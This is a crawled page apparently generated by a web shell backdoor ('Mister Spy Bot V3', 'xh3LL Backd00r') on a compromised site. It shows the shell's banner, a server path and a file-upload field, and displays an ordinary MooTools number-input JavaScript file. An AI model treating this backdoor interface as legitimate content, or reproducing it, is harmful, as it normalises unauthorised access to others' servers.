Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/ficcc_2015/js/
Upload File :
Current File : /home/caballoscriollos/www/ficcc_2015/js/Input-Number.js

var InputNumber = new Class({
    Implements: Events,

    initialize: function(cl, max, min){    
        this._cl    = cl
        this._max   = (max!=undefined && max!="" ) ? max : 999;
        this._min   = (min!=undefined && min!="" ) ? min : 0;  
        this._enabled = true    
        this.init();
    },
    
    init: function(){
        var _here = this
        $$("."+this._cl).each(function(el){
            _here.addHtml(el);
        });

    },
    
    addHtml: function(el){
        var _here = this;
        
        var value  = el.get('html');
        var input  = new Element('div', {'class': 'nm-input fl', 'html': value});
        var div    = new Element('div', {'class': 'fl'});
        var add    = new Element('div', {'class': 'nm-add'});
        var remove = new Element('div', {'class': 'nm-remove'});
        //var inputH = new Element('input', {'class': 'nm-th', 'id': 'nm-'+el.id, 'name': 'nm-'+el.id, 'type': 'hidden', 'value': value});
        var ids     = el.id.split("-")
        input._id    = ids[1]
        input._rowid = ids[2]
        input._value = value

        add.addEvent('click', function(){
            if(_here._enabled){
                var value  = input.get('html').toInt();
                if(value<_here._max)
                    value++               
                _here.updateValue(input,  value)
            }
        });
        
        remove.addEvent('click', function(){
            if(_here._enabled){
                var value  = input.get('html').toInt();
                if(value>_here._min)
                    value--
                _here.updateValue(input,  value)
            }
        });


        el.set('html', '')
        //el.grab(inputH);
        div.grab(add);
        div.grab(remove);
        el.grab(input);
        el.grab(div);
    },
    
    updateValue: function(input,  value){
        input.set('html', value);
        input._value = value
        //inputH.set('value', value)
        this.getTotal(input);
    },
    
    getTotal: function (input){
        var total = 0
        $$(".nm-th").each(function(el){
            total+= el.get('value').toInt();
        });

        this.fireEvent("onUpdate", [input._id, input._rowid, input._value]);
        //location.reaload(true);
    },
    
    disabled: function(){
        this._enabled = false
    },
    enabled: function(){
        this._enabled = true
    }
    
    
});

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat